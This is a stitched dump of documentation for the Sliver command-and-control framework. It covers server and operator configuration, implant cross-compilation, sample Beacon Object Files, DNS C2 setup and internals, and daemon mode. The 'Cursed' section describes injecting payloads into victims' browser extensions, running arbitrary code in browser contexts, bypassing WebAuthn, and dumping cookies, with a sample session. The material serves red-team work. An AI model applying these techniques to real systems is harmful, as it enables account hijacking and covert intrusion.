If no configuration file exists, a default YAML configuration is generated and written to disk on startup. If a legacy server.json file exists, Sliver reads it, writes server.yaml, and renames the old file to .server.json-old.
AI configuration is stored separately in configs/ai.yaml. A legacy inline ai block is migrated only when that file does not already exist.
Default Server Config
daemon_mode: false
daemon:
host: ""
port: 31337
tailscale: false
enable_wg: false
logs:
level: 4
grpc_unary_payloads: false
grpc_stream_payloads: false
tls_key_logger: false
max_size_mb: 50
max_backups: 20
max_age_days: 90
compress: true
grpc:
keepalive:
min_time_seconds: 30
permit_without_stream: true
watch_tower: null
go_proxy: ""
http_default:
headers:
- method: GET
name: Cache-Control
value: no-store, no-cache, must-revalidate
probability: 100
notifications:
enabled: false
services: {}
cc: {}
cxx: {}Configuration Options
daemon_mode- Enable daemon mode.daemon- Options for daemon mode.host- Interface to bind the daemon listener to. Empty string means all interfaces.port- Listen port for the multiplayer listener.tailscale- Enable Tailscale for daemon listener setup. When enabled, Sliver does not wrap multiplayer in its own WireGuard layer.enable_wg- Wrap multiplayer in WireGuard. If omitted or false, multiplayer is exposed directly over mTLS.- The legacy
disable_wgfield from the withdrawn WireGuard-by-default release does not enable WireGuard and is normalized toenable_wg: false. Setenable_wg: trueexplicitly to opt in.
- The legacy
logs- Server logging options.level-logruslevel (0-6, clamped by Sliver).4isINFO,5isDEBUG,6isTRACE.grpc_unary_payloads- Log gRPC unary payloads.grpc_stream_payloads- Log gRPC streaming payloads.tls_key_logger- Enable TLS key logging (for debugging/traffic analysis only; sensitive).max_size_mb,max_backups,max_age_days- Log rotation size in MB, backup count, and maximum backup age in days (defaults:50,20,90).compress- Compress rotated logs (default:true).
grpc.keepalive- gRPC keepalive enforcement configuration.min_time_seconds- Minimum time (seconds) between client pings before sending GOAWAY (too_many_pings).permit_without_stream- Allow client pings when there are no active streams.
watch_tower- Optional API keys for Watchtower integrations.vt_api_key- VirusTotal API key.xforce_api_key- IBM X-Force API key.xforce_api_password- IBM X-Force API password.
go_proxy- OptionalGOPROXYoverride used by server-side builds.http_default.headers- Default HTTP headers for anonymous server responses.method- HTTP method to apply to (for exampleGET).name- Header name.value- Header value.probability- Percent chance (0-100) that the header is added.
notifications- Server notification config. See Notifications for the full schema.cc- Optional compiler overrides map (GOOS/GOARCH-> C compiler path).cxx- Optional compiler overrides map (GOOS/GOARCH-> C++ compiler path).
Database Configuration
Sliver supports SQL database configurations in ~/.sliver/configs/database.yaml.
If no configuration file exists, a default YAML configuration is generated and written to disk on startup. If a legacy database.json exists, Sliver reads it, writes database.yaml, and renames the old file to .database.json-old.
Default Database Configuration
dialect: sqlite3
database: ""
username: ""
password: ""
host: ""
port: 0
params:
cache: shared
pragmas:
busy_timeout: "5000"
journal_mode: WAL
synchronous: NORMAL
temp_store: MEMORY
max_idle_conns: 10
max_open_conns: 100
log_level: warnConfiguration Options
dialect- Database backend (mysql,postgresql, orsqlite3).database- Database name (ignored forsqlite3).username- Database username.password- Database password.host- Database host.port- Database TCP port.params- Key/value map of dialect-specific DSN parameters.pragmas- SQLite pragma map. Used whendialectissqlite3andparamsdoes not already set_pragma.max_idle_conns- Max idle DB connections (minimum enforced value is1).max_open_conns- Max open DB connections (minimum enforced value is1).log_level- GORM DB logging level (silent,error,warn,info).
With the default SQLite configuration, Sliver stores the DB at ~/.sliver/sliver.db.
Client Configuration
Operator
Operator client configs are generated by the server and should be copied into ~/.sliver-client/configs/. These files are currently JSON (*.cfg), not YAML.
For details on generating them, see multiplayer mode.
{
"operator": "alice",
"token": "<operator-auth-token>",
"lhost": "localhost",
"lport": 31337,
"ca_certificate": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n",
"private_key": "-----BEGIN EC PRIVATE KEY-----\n...\n-----END EC PRIVATE KEY-----\n",
"certificate": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n"
}Note: The operator field is mostly a local label in the client. Server-side identity is derived from the client certificate (CommonName) and token material generated by the server. If you need to rename an operator, generate a new client configuration.
The default operator profile does not contain a wg block, and the client connects directly to the multiplayer mTLS listener.
Multiplayer WireGuard is opt-in. Generate a WireGuard-enabled profile with new-operator --enable-wg or sliver-server operator --enable-wg; this adds the following block:
"wg": {
"enabled": true,
"server_pub_key": "<multiplayer-wg-server-pubkey>",
"client_private_key": "<operator-wg-private-key>",
"client_pub_key": "<operator-wg-public-key>",
"client_ip": "100.65.0.10",
"server_ip": "100.65.0.1"
}The listener must also be started with multiplayer --enable-wg or sliver-server daemon --enable-wg. The official client reads the profile and automatically uses WireGuard only when wg.enabled is true; otherwise it connects directly. A profile from the withdrawn WireGuard-by-default release may contain a wg block without the enabled field. Such a profile stays in direct mode unless you deliberately force WireGuard with sliver-client --enable-wg.
The client flags override the profile selection:
sliver-client --enable-wgforces WireGuard and requires usable tunnel settings in the selected profile.sliver-client --disable-wgforces a direct gRPC/mTLS connection even whenwg.enabledis true.- Without either flag,
sliver-clientfollowswg.enabled. The two override flags cannot be used together.
Sliver Docs Pages Docs Md Cross Compiling Implants (`docs/sliver-docs/pages/docs/md/Cross-compiling Implants.md`)
Any platform can cross-compile a standalone executable to any other platform out of the box; you primarily need cross-compilers when using CGO-based formats like --format shared, and for --format shellcode on macOS/Linux.
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the generate info command in the console.
Sliver supports External Builders, which can be used to easily cross-compile implants.
From Linux to MacOS
Sliver embeds a Zig cross-compiler out of the box, so Windows shared library and shellcode implants from Linux do not require mingw-w64.
To compile MacOS shared library or shellcode payloads from Linux, we recommend using OSX Cross by default Sliver will look in /opt/osxcross but you can override this via environment variables. If you do not have a MacOS-based machine you can use GitHub Actions' MacOS instances to build OSXCross.
NOTE: Sliver expects the root of the osxcross git repo to be located at /opt/osxcross and the actual binaries in /opt/osxcross/target/bin.
An example deployment is shown below, you have to procure the MacOSX123.sdk.tar.xz yourself due to license restrictions (see the OSXCross GitHub for more details). It is recommended to use the llvm-based version (i.e. the 2.0-llvm-based branch) of osxcross:
For a MacOS machine, if you don't have one handy I recommend using a MacOS GitHub Actions runner:
git clone https://github.com/tpoechtrager/osxcross.git
cd osxcross
./tools/gen_sdk_package.shFrom your Linux server, commands may differ slightly depending on your Linux distribution, just ask ChatGPT for help if you need it:
sudo apt-get install -y clang cmake git patch python3 libssl-dev lzma-dev libxml2-dev xz-utils bzip2 cpio libbz2-dev zlib1g-dev llvm-dev uuid-dev
git clone --depth 1 -b 2.0-llvm-based https://github.com/tpoechtrager/osxcross.git
cd osxcross
curl -o ./tarballs/MacOSX123.sdk.tar.xz 'https://example.com/MacOSX123.sdk.tar.xz'
TARGET_DIR=/opt/osxcross ENABLE_ARCHS="arm64 x86_64" ./build.shSliver automatically looks in the default paths for these cross-compilers; once installed simply use the generate command with the desired --os and --arch, check ~/.sliver/logs/sliver.log for build errors. You can override any cross-compiler location via the appropriate environment variables.
From MacOS to Linux/Windows
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects/shellcode do not require mingw-w64 or musl-cross.
However, we're not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the generate command with the desired --os and --arch, check ~/.sliver/logs/sliver.log for build errors. You can override any cross-compiler location via the appropriate environment variables.
From Windows to MacOS/Linux
Good luck.
Sliver Docs Pages Docs Md Cross Platform BOFs (`docs/sliver-docs/pages/docs/md/Cross-platform BOFs.md`)
Sliver's built-in Reflektor executor runs Beacon Object Files (BOFs) on Windows, macOS, and Linux. A BOF is a relocatable native object with an entry point such as go(char *args, int length) and Beacon callbacks for arguments and output. It executes inside the implant process.
This page covers writing and compiling basic BOFs. For Armory installation, argument manifests, and compatibility with older components, see BOF and COFF Support. Projects with CNA wrappers can also use OPFOR.
Platform support
The following targets support built-in BOF execution in Sliver:
| Implant OS | Implant architecture (GOARCH) |
Object format | Typical compiler |
|---|---|---|---|
Windows (windows) |
386, amd64, arm64 |
COFF relocatable object | MinGW-w64 GCC or Clang targeting Windows |
macOS (darwin) |
amd64, arm64 |
Mach-O relocatable object (MH_OBJECT) |
Apple Clang |
Linux (linux) |
386, amd64, arm64 |
ELF relocatable object (ET_REL) |
GCC or Clang targeting Linux |
The object must match the implant's operating system and CPU architecture, regardless of the client or server platform. amd64 means x86-64; 386 means x86; arm64 means AArch64. The .o suffix alone does not identify the format. Compile a separate artifact for each OS/architecture pair; renaming a Windows COFF object does not turn it into a Linux or macOS BOF.
Reflektor also accepts legacy ELF BOFs on macOS when they match the host architecture and ABI. Use native Mach-O for new macOS BOFs. Reflektor's standalone library supports additional targets, but the table above describes Sliver's built-in integration.
Use compatible client, server, and implant versions with the bof_v1 capability. Setting "bof_executor": "reflektor" explicitly selects built-in execution when that capability is available. The examples below require this support and do not need a COFF Loader dependency. See BOF and COFF Support for the optional legacy fallback.
Basic examples
These three examples take no arguments and emit one message through BeaconOutput. Save the source files in a directory named hello-bof. Run the compiler commands from that directory; each command produces an object with -c rather than linking an executable or shared library.
The declarations are included directly to keep the examples self-contained. Windows imports use __declspec(dllimport); Unix platforms use normal external symbols. The supported targets use 32-bit int for the entry-point length and Beacon callback parameters.
Windows: COFF
Save as hello-windows.c:
__declspec(dllimport) void BeaconOutput(int type, char *data, int length);
void go(char *args, int length) {
static char message[] = "Hello from a Windows BOF!\n";
(void)args;
(void)length;
BeaconOutput(0, message, (int)(sizeof(message) - 1));
}With a MinGW-w64 cross compiler, build the Windows x86-64 object:
x86_64-w64-mingw32-gcc -Os -c -fno-stack-protector \
-fno-unwind-tables -fno-asynchronous-unwind-tables \
hello-windows.c -o hello.windows.amd64.oFor a Windows x86 implant, use i686-w64-mingw32-gcc with the same flags and name the result hello.windows.386.o. For Windows ARM64, Clang can compile this header-free example:
clang --target=aarch64-w64-windows-gnu -Os -c -fno-stack-protector \
-fno-unwind-tables -fno-asynchronous-unwind-tables \
hello-windows.c -o hello.windows.arm64.oExisting Windows BOFs may import system functions using names such as KERNEL32$GetCurrentProcessId. Those imports and their calling conventions remain Windows-specific; port the source and imports before compiling for another OS.
macOS: Mach-O
Save as hello-macos.c:
extern void BeaconOutput(int type, char *data, int length);
void go(char *args, int length) {
static char message[] = "Hello from a macOS BOF!\n";
(void)args;
(void)length;
BeaconOutput(0, message, (int)(sizeof(message) - 1));
}On macOS, install the Xcode Command Line Tools (xcode-select --install) if Clang is unavailable. Build separate objects for Apple Silicon and Intel implants:
clang -arch arm64 -Os -c -fno-stack-protector \
-fno-unwind-tables -fno-asynchronous-unwind-tables \
hello-macos.c -o hello.darwin.arm64.o
clang -arch x86_64 -Os -c -fno-stack-protector \
-fno-unwind-tables -fno-asynchronous-unwind-tables \
hello-macos.c -o hello.darwin.amd64.oKeep these as separate thin Mach-O objects. Reflektor does not accept a universal/fat BOF object. Clang prefixes the C symbols with _ in Mach-O; the default go entry-point selection handles _go automatically.
Apple Silicon: Native Mach-O arm64 BOFs must use BeaconOutput for output. Reflektor rejects BeaconPrintf and BeaconFormatPrintf imports for this format because Apple's variadic calling convention differs from the callback bridge. The example above works on both macOS architectures.
Linux: ELF
Save as hello-linux.c:
extern void BeaconOutput(int type, char *data, int length);
void go(char *args, int length) {
static char message[] = "Hello from a Linux BOF!\n";
(void)args;
(void)length;
BeaconOutput(0, message, (int)(sizeof(message) - 1));
}On an x86-64 Linux build host, use GCC to produce an ELF object:
gcc -m64 -Os -c -fPIC -fno-stack-protector \
-fno-unwind-tables -fno-asynchronous-unwind-tables \
hello-linux.c -o hello.linux.amd64.oFor a Linux x86 implant, replace -m64 with -m32 and name the result hello.linux.386.o; this requires a compiler with 32-bit target support. For ARM64, use a Linux AArch64 cross compiler:
aarch64-linux-gnu-gcc -Os -c -fPIC -fno-stack-protector \
-fno-unwind-tables -fno-asynchronous-unwind-tables \
hello-linux.c -o hello.linux.arm64.oOn a native ARM64 Linux build host, gcc with the same flags as the ARM64 command produces the ARM64 object. Do not use a macOS host's default clang or gcc command to build a Linux BOF without selecting a Linux target.
Load and run in Sliver
Save the following extension.json beside the compiled objects in hello-bof. The command uses Sliver's modern manifest format, with execution settings inside commands. Keep only the files entries for artifacts you have built; add 386 or Windows arm64 entries if you built those variants.
{
"name": "hello-bof",
"version": "1.0.0",
"extension_author": "Example Author",
"commands": [
{
"command_name": "hello-bof",
"help": "Print a greeting from a platform-native BOF",
"bof_executor": "reflektor",
"entrypoint": "go",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "hello.windows.amd64.o"
},
{
"os": "darwin",
"arch": "amd64",
"path": "hello.darwin.amd64.o"
},
{
"os": "darwin",
"arch": "arm64",
"path": "hello.darwin.arm64.o"
},
{
"os": "linux",
"arch": "amd64",
"path": "hello.linux.amd64.o"
},
{
"os": "linux",
"arch": "arm64",
"path": "hello.linux.arm64.o"
}
],
"arguments": []
}
]
}Copy the directory to your operator machine if you compiled on another host, then load it into the Sliver client:
sliver > extensions load /absolute/path/to/hello-bof
sliver > use <session-or-beacon-id>
sliver (selected-target) > hello-bofSliver selects the artifact using the active session or beacon's exact os/arch pair. A macOS ARM64 target prints Hello from a macOS BOF!; Windows and Linux targets print the corresponding greeting. Sessions return output immediately; beacon output arrives with the asynchronous task result.
For BOFs with arguments, declare them in the manifest in the same order and types consumed by BeaconDataParse, BeaconDataInt, BeaconDataShort, and BeaconDataExtract. Sliver packs the arguments into the length-prefixed Beacon format. See the argument type table and conversion example in BOF and COFF Support.
Compatibility and troubleshooting
Reflektor implements the Beacon data, format, and output callbacks, including BeaconOutput and supported BeaconPrintf calls. It preserves output channel values such as normal output (0) and errors (13). It does not implement every Beacon integration API: token manipulation, temporary-process, and process-injection callbacks require host integration and fail explicitly when unavailable. Check the Reflektor BOF documentation before importing additional Beacon APIs.
- No artifact for the target: Add the exact
filesentry with Go OS/architecture names, such asdarwin/arm64, and the matching object. Paths are relative toextension.json; parent-directory traversal is not allowed. - Missing built-in support: Upgrade the client and server and regenerate the implant with BOF support. An older running implant does not gain the capability when only the client is upgraded.
- Wrong format or machine: Inspect the object with
file,llvm-readobj, orobjdump. Check both the OS format and architecture, then rebuild for the implant. - Unresolved import: Use the correct platform ABI and symbol spelling. Windows DLL imports do not carry over to Unix. The examples avoid standard-library and system-library dependencies.
- Entry point not found: Export a non-static
gofunction with the signature shown above. C++ sources must useextern "C"to avoid name mangling. Custom entry points use the exact object symbol name, including Mach-O's leading underscore.
BOFs run native code in the implant process. Keep the entry point short and return normally; crashes or process-exit calls can terminate the implant. Worker threads using Beacon callbacks must finish before the entry point returns because output capture and object lifetime are tied to that execution.
Sliver Docs Pages Docs Md Cursed (`docs/sliver-docs/pages/docs/md/Cursed.md`)
Cursed is a Chrome/Chromium/Edge/Electron post-exploitation toolkit that integrates with CursedChrome (originally Sliver Overlord). It can automatically find existing Chrome extensions with the required permissions for CursedChrome and remotely inject it onto the target system, or you can start an interactive REPL to inject arbitrary code into any Chrome/Chromium/Edge/Electron context.
Since web requests and other activity originate from the target machine/browser instance, Cursed Chrome and the Cursed toolkit are excellent options for bypassing U2F/Webauthn, hardware attestation, and geo-IP restrictions in web applications.
Cursed Chrome
The cursed chrome command can be used to restart a remote system's Chrome browser with remote debugging enabled. If no payload is specified using --payload the command will simply restart Chrome with remote debugging enabled; you can then use cursed console to interact with any debug target.
If a payload is specified, the command will restart Chrome with remote debugging, enumerate installed browser extensions, determine if any extension has the required permissions for CursedChrome, and inject the payload into the extension's execution context.
So a typical workflow looks like:
- Set up CursedChrome
- Pop a Sliver session or go interactive from a beacon
cursed chrome --payload background.js- Upstream browser to CursedChrome proxy
- Enjoy!
Cursed Edge
Works identically to cursed chrome but the UI displays "Edge" instead of "Chrome" much like Edge itself.
Cursed Electron
The cursed electron command can be used to restart an Electron application with remote debugging enabled, you can subsequently use cursed console to interact with any debug target. Note that some Electron applications disable the remote debugging functionality, which will prevent this feature from working.
Cursed Console
The cursed console command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using cursed chrome, cursed edge, or cursed electron before using cursed console. You can list cursed processes using the cursed command.
Cursed Cookies
The cursed cookies command can be used to dump a remote cursed process's cookies to a local file (newline-delimited JSON), for example:
[server] sliver (CHRONIC_GOAT) > cursed chrome
...
[server] sliver (CHRONIC_GOAT) > cursed cookies
? Select a curse: 44199 [Session 56a5cd6f] /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
[*] Successfully dumped 437 cookies
[*] Saved to cookies-20220925182151.jsonSliver Docs Pages Docs Md Custom Clients (`docs/sliver-docs/pages/docs/md/Custom Clients.md`)
Although the sliver-client is the default way to interact with a sliver-server and with implant sessions, there might be a time where you would want to automate some tasks upon reception of certain events.
To do so, you can use sliver-script, sliver-py, or write a custom client in another language.
Sliver exposes multiplayer directly over gRPC/mTLS and generates direct operator configs by default. The multiplayer WireGuard wrapper is enabled explicitly on the listener and when the operator profile is generated. A WireGuard-enabled profile records that choice as wg.enabled: true.
If you are writing a custom client in another language, you have two options:
- Use the default direct gRPC/mTLS multiplayer mode, which works with a standard gRPC client and a default operator profile.
- Implement the multiplayer WireGuard wrapper described in multiplayer mode. Opt into it with
multiplayer --enable-wgorsliver-server daemon --enable-wg, generate a matching profile withnew-operator --enable-wgorsliver-server operator --enable-wg, and honorwg.enabledwhen selecting the transport. A legacy profile that has awgblock but noenabledfield should remain direct.
Once connected, the client/server API is still gRPC, so any language with gRPC support can in theory be used to create a custom client.
Writing a Go client
This example uses Sliver's Go client libraries. transport.MTLSConnect automatically follows the selected profile in transport.MultiplayerConnectAuto mode: wg.enabled: true selects WireGuard, while a missing or disabled marker selects direct gRPC/mTLS. Applications that expose manual transport controls can call transport.SetMultiplayerConnectMode with transport.MultiplayerConnectEnableWG or transport.MultiplayerConnectDisableWG before connecting.
In this example, we will focus on writing a custom Go client that executes a new system command on every new implant that connects to the sliver server.
Create a new Go project somewhere on your file system:
mkdir sliver-custom-client
cd sliver-custom-client
touch main.go
go mod init github.com/<your-username>/<your-project-name>
go get github.com/bishopfox/sliverThe module path (github.com/<your-username>/<your-project-name>) can be anything, as long as it respects the requirements.
The next step is to write our client code (main.go):
/* Detailed source-code truncated for AI context efficiency. */Finally, run go mod tidy to make sure to have all the external dependencies, and run go build . to build the code.
That's it, you wrote your first custom client in Go for sliver.
Sliver Docs Pages Docs Md DNS C2 (`docs/sliver-docs/pages/docs/md/DNS C2.md`)
DNS can be a finicky, nuanced protocol. If you're unfamiliar with DNS and related concepts, I'd recommend reading up on the protocol and ecosystem a bit before leveraging it for C2.
Setup
Use the following steps to configure a domain for DNS C2 (and DNS Canaries). You can use any DNS provider you wish as long as you set up the records correctly. I recommend setting a TTL of ~5 minutes for each record.
- Create an
Arecord for yourexample.compointing at your Sliver server (or redirector) IP address. - Create an
Arecord for anns1subdomain (i.e.ns1.example.com) that points to your Sliver server (or redirector) IP address. - Create an NS record with an arbitrary subdomain, for example
1(i.e.1.example.com) which is managed byns1.example.com. - You can now use
1.example.comas your DNS C2 domain e.g.generate --dns 1.example.com.(always use the FQDN when issuing DNS commands).
IMPORTANT: Always use the FQDN when issuing DNS commands in the Sliver console (e.g., 1.example.com. note the trailing .). DNS is a finicky protocol!
The final configuration should look like this for the domain lil-peep.rip:
IMPORTANT: Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs.
DNS Listeners
Make sure you have a DNS listener running, and use the FQDN again. Sliver will not be able to correctly parse C2 traffic if the parent domain is misconfigured:
sliver > dns --domains 1.example.com.
[*] Starting DNS listener with parent domain(s) [1.example.com.] ...
[*] Successfully started job #1DNS Canaries
DNS Canaries are unique per-binary domains that are optionally inserted during the string obfuscation process. These domains are not actually used by the implant code and are deliberately not obfuscated so that they show up if someone runs strings on the implant. If these domains are ever resolved (and you have a dns listener running) you'll get an alert telling you which specific file was discovered by the blue team.
Example generate command with canaries, make sure to use the FQDN:
sliver > generate --http foobar.com --canary 1.example.com.You can view previously generated canaries with the canaries command.
Ubuntu
NOTE: On recent versions of Ubuntu, you may need to disable systemd-resolved as this binds to your local UDP:53 and messes up everything about how DNS is supposed to work. To use a sane DNS configuration run the following commands as root because resolved probably broke sudo too:
systemctl disable systemd-resolved.service
systemctl stop systemd-resolved
rm -f /etc/resolv.conf
vim /etc/resolv.confAdd a normal resolv.conf:
nameserver 1.1.1.1
nameserver 8.8.8.8Under the Hood
NOTE: This describes the current implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about here; this is just about how we move bytes back and forth.
Design Goals
The current implementation of DNS C2 is primarily designed for "speed" (as far as DNS tunnels go) NOT stealth; it does not intend to be subtle in its use of DNS to tunnel data. While DNS can be a very useful protocol for stealthy signaling, Sliver here is creating a full-duplex tunnel; doing so covertly would generally be far too slow to be practical. The general rule of thumb is that DNS C2 is easy to detect if you look. That's not to say DNS C2 isn't useful or will be immediately detected, as often no one looks. As DNS does not require direct "line of sight" networking, it is often useful for tunneling out of highly restricted networks, and if the environment has not been instrumented to specifically detect DNS C2 it will likely go undetected.
For example glossing over some details, if a DNS client attempts to foo.1.example.com it will query its local resolver for an answer. If the resolver does not know the answer it will start "recursively" resolving the domain, eventually finding its way to the "authoritative name server" for the domain, which is controlled by the owner of example.com. DNS C2 works by stuffing data in a subdomain, and then sending a query for that subdomain to the authoritative name server.
[implant] <--> [resolver]
|<------> [.]
|<------> [.com.]
|<------> [example.com.] (attacker controlled)This allows an implant to establish a connection to an attacker-controlled host even when the implant cannot route TCP or UDP traffic to the internet. The tradeoff is that DNS queries are generally very small; in fact, if we're lucky we can maybe encode around ~175 bytes per query (more on that later). So if you want to download a 2 MB file then we're going to have to send a lot of queries, which means that DNS communication is going to be slow (~30 Kbps) even at the best of times.
Rude DNS Resolvers
The novice hacker often may think that something like DNS, being a fundamental building block of the internet, would be strictly defined and implemented. This of course could not be further from reality; the DNS protocol specification is really more what you call "guidelines" than actual rules. It is common for DNS resolvers to ignore TTL values, modify query contents, drop packets, and lie in responses. Since we cannot control what resolvers we may need to use in an operational environment, and we want to build reliable C2 connections, we must expect this type of behavior and design around it.
Encoder Selection
So if we want to build a "fast" DNS tunnel, we need to be able to pack as much data into each request as possible, more data per query the fewer queries we need to send for a given message.
So how much data can we stuff into a DNS query? Well let's take a look at what goes into a DNS query, a DNS query contains some header fields and then a "questions" section, a single query may contain multiple questions. For example, we can ask "is there an A record for example.com" (an A records contain IPv4 addresses). Now, we can encode a handful of bits into some of the header fields and a couple other sections like the Type/Class, but by far the largest field is QNAME, which contains the domain we're asking a question about:
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| |
/ QNAME /
/ /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QTYPE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QCLASS |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+Thus we'll focus on encoding data into the QNAME (the domain), domains can be up to 254 characters in length and may only contain ASCII a-z, A-Z, 0-9, -, but - may not appear at the beginning of a name, and of course . separators. Each subdomain is separated by a . and may be up to 63 characters in length. However, DNS is a case-insensitive protocol thus a and A are considered equal from DNS' standpoint. Now as I said before the spec is really more guidelines than rules, so both a and A are technically allowed they're just considered equal in DNS' semantics.
Now we want to send arbitrary binary data but DNS does not allow binary data in the QNAME so we need to encode binary data into the allowed character set. Typically of course to encode arbitrary binary data into ASCII we'd use Base64 encoding, but DNS only allows 62 distinct characters (a-z, A-Z, 0-9) so Base64 cannot be used. Additionally, we must consider that to Base64 a and A are distinct values whereas to DNS they are not. So it may not always be safe to use a case-sensitive encoding like Base64 if some rude resolver were to convert all the characters in one of our QNAMEs to lower case. As far as DNS is concerned this is just fine, but it would corrupt the bytes decoded by the server.
To work around this problem many DNS C2 implementations instead use hexadecimal encoding, which is not case-sensitive and uses only characters (0-9, A-F), which are allowed in a QNAME, to transfer data back and forth from the server. The issue with this is that hexadecimal is a very inefficient encoding, resulting in a 2x size (takes two bytes to encode one byte), and since we want to minimize the number of queries we need to send this isn't a great option. Instead we could use Base32, which is also case-insensitive but uses more characters to display bytes and thus is more efficient at around 1.6x size. Even better yet would be Base58, which is case sensitive like Base64 but only uses chars allowed in a QNAME, at a little over 1.33x message size, but we cannot always rely on being able to use Base58 if we encounter a rude resolver.
Sliver's solution to this problem is to first try to detect if Base58 can be used to reliably encode data, and if a problem is detected then fall back to Base32. I call this process "fingerprinting" the resolver.
Fingerprinting Rude Resolvers
The most common DNS query is an A record asking for the IPv4 address associated with some domain name. An IPv4 address is a 4-byte value typically displayed as four octets in Base10 e.g., 192.168.1.1, but to DNS this is just an arbitrary 4-byte (32-bit) value.
In order to detect if a resolver corrupted any bytes in our message the authoritative name server encodes the CRC32 of the data it received in the IP address of any A record that it receives. The implant first generates random bytes and then for each resolver on a host we try to resolve these random bytes and check to see if the CRC32 calculated by the server matches the CRC32 of the data we sent. If any mismatches occur Base32 is used instead of Base58.
Bytes Per Query
Since the encoder used to send data is selected at runtime, as described above, the number of bytes that can be encoded into a query depends on both the length of the parent domain and the encoder selected. Therefore given some message of n bytes we must dynamically determine how many queries are needed to send the message.
First we calculate how many characters of the total domain can be used to encode data, which depends on the length of the parent domain. A maximum of 254 characters per domain always applies regardless of the number of subdomains. So for example we have more space leftover when using 1.abc.com (254 - 9 = 245) vs. a.thisisalongdomainname.com (254 - 27 = 227), however we must also account for . every 63 characters, and the number of these may differ depending on the space leftover after the parent domain. The number of characters that can be used to represent data I call the "subdata space" (i.e., not counting the parent domain and .'s) and is calculated as:
254 - len(parent) - (1 + (254-len(parent))/64)This "subdata space" is the maximum number of characters our encoder (Base32 or Base58) can output per message. So the bytes per message are essentially: the encoded length of n bytes must be equal to or less than the subdata space. It's important to note that adding a single byte input to either Base32 or Base58 may result in +2 output characters due to the inefficiencies in the encoders.
Parallel Send/Recv
In addition to optimizing our use of encoders, we can also increase performance if we can send queries with encoded data out of order, or that is to say in parallel, since sending in parallel will most assuredly result in messages arriving at the server out of order.
To account for this, Sliver wraps the message of n bytes in a protobuf message that contains some metadata:
message DNSMessage {
DNSMessageType Type = 1; // An enum type
uint32 ID = 2; // 8 bit message id + 24 bit dns session ID
uint32 Start = 3; // These bytes of `Data` start at
uint32 Stop = 4; // These bytes of `Data` stop at
uint32 Size = 5; // Total message size (e.g. last message Stop = Size)
bytes Data = 6; // Actual data
}This does result in some overhead, and we must account for this as part of the bytes-per-query math.
Since each message contains ordering and size data the server can now receive any part of the message in any order and sort/reconstruct the original message once all the pieces have been received.
Sliver Docs Pages Docs Md Daemon Mode (`docs/sliver-docs/pages/docs/md/Daemon Mode.md`)
Sliver supports running in daemon mode, which automatically starts the multiplayer listener but does not provide an interactive console. To connect to a daemonized server, use multiplayer mode operator configs.
By default, daemon mode exposes the multiplayer listener directly over TCP gRPC/mTLS on port 31337. The multiplayer WireGuard wrapper is opt-in with --enable-wg or daemon.enable_wg: true.
There are two ways to run in daemon mode:
- Start daemon directly from CLI:
sliver-server daemon - Set
daemon_mode: truein~/.sliver/configs/server.yaml, then start normally withsliver-server
If server.yaml does not exist, Sliver generates it. If a legacy server.json exists, Sliver migrates it to YAML.
CLI Behavior
sliver-server daemonsupports:-l, --lhostmultiplayer listener host-p, --lportmultiplayer listener port-t, --tailscaleenable Tailscale listener--enable-wgwrap multiplayer in WireGuard instead of exposing it directly over mTLS-f, --forceforce unpack static assets
- For
sliver-server daemon,--lhostand--lportoverride config values. If omitted, Sliver usesdaemon.hostanddaemon.portfromserver.yaml. - For normal startup (
sliver-server) withdaemon_mode: true, Sliver usesdaemon.tailscaleanddaemon.enable_wgfromserver.yaml. - With
--enable-wgordaemon.enable_wg: true, multiplayer is wrapped in WireGuard. Otherwise it stays on direct TCP mTLS.
Example Config
daemon_mode: true
daemon:
host: ""
port: 31337
tailscale: false
enable_wg: false
logs:
level: 4
grpc_unary_payloads: false
grpc_stream_payloads: false
tls_key_logger: false
grpc:
keepalive:
min_time_seconds: 30
permit_without_stream: trueGenerating Operator Configs Without Console
Since daemon mode does not provide an interactive server console, generate operator configs using the server CLI:
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --permissions all --save zer0cool.cfgThe operator CLI generates direct multiplayer profiles by default. When the daemon is running with the WireGuard wrapper, add --enable-wg while generating the profile. That profile contains wg.enabled: true, so sliver-client selects WireGuard automatically. Use the client's --enable-wg or --disable-wg only when you need to override the profile.
Shutdown Behavior
On Unix-like systems, daemon mode handles SIGTERM and exits cleanly.
systemd
With daemon mode enabled in server.yaml, you can run Sliver under systemd or another init system. See the Linux install script for an example.
Sliver Docs Pages Docs Md Debugging (`docs/sliver-docs/pages/docs/md/Debugging.md`)
Debugging Sliver binaries (server, client and implant) can be done using the delve debugger. The following examples are specific to Visual Studio Code, but other IDEs using delve probably have similar configuration options.
Delve can be installed with the following command, note that you'll need $GOPATH/bin on your $PATH:
go install github.com/go-delve/delve/cmd/dlv@latestFor more details please see https://github.com/go-delve/delve/tree/master/Documentation/installation#installation
Debugging the Server
Debugging the Sliver needs to be done via delve remote debugging feature. This means you need to first start the binary with the following command:
dlv debug \
--build-flags="-tags osusergo,netgo,go_sqlite,server -ldflags='-X github.com/bishopfox/sliver/client/version.Version=1.1.2 -X github.com/bishopfox/sliver/client/version.CompiledAt=Never -X github.com/bishopfox/sliver/client/version.GithubReleasesURL=github.com -X github.com/bishopfox/sliver/client/version.GitCommit=aabbcc -X github.com/bishopfox/sliver/client/version.GitDirty=Dirty'" \
--headless \
--listen=:2345 \
--api-version=2 \
--log \
github.com/bishopfox/sliver/serverTo simplify things, you can add this command as a VSCode task, by adding the following to your .vscode/tasks.json file:
{
"label": "Run Debug Server",
"type": "shell",
"command": "dlv",
"args": [
"debug",
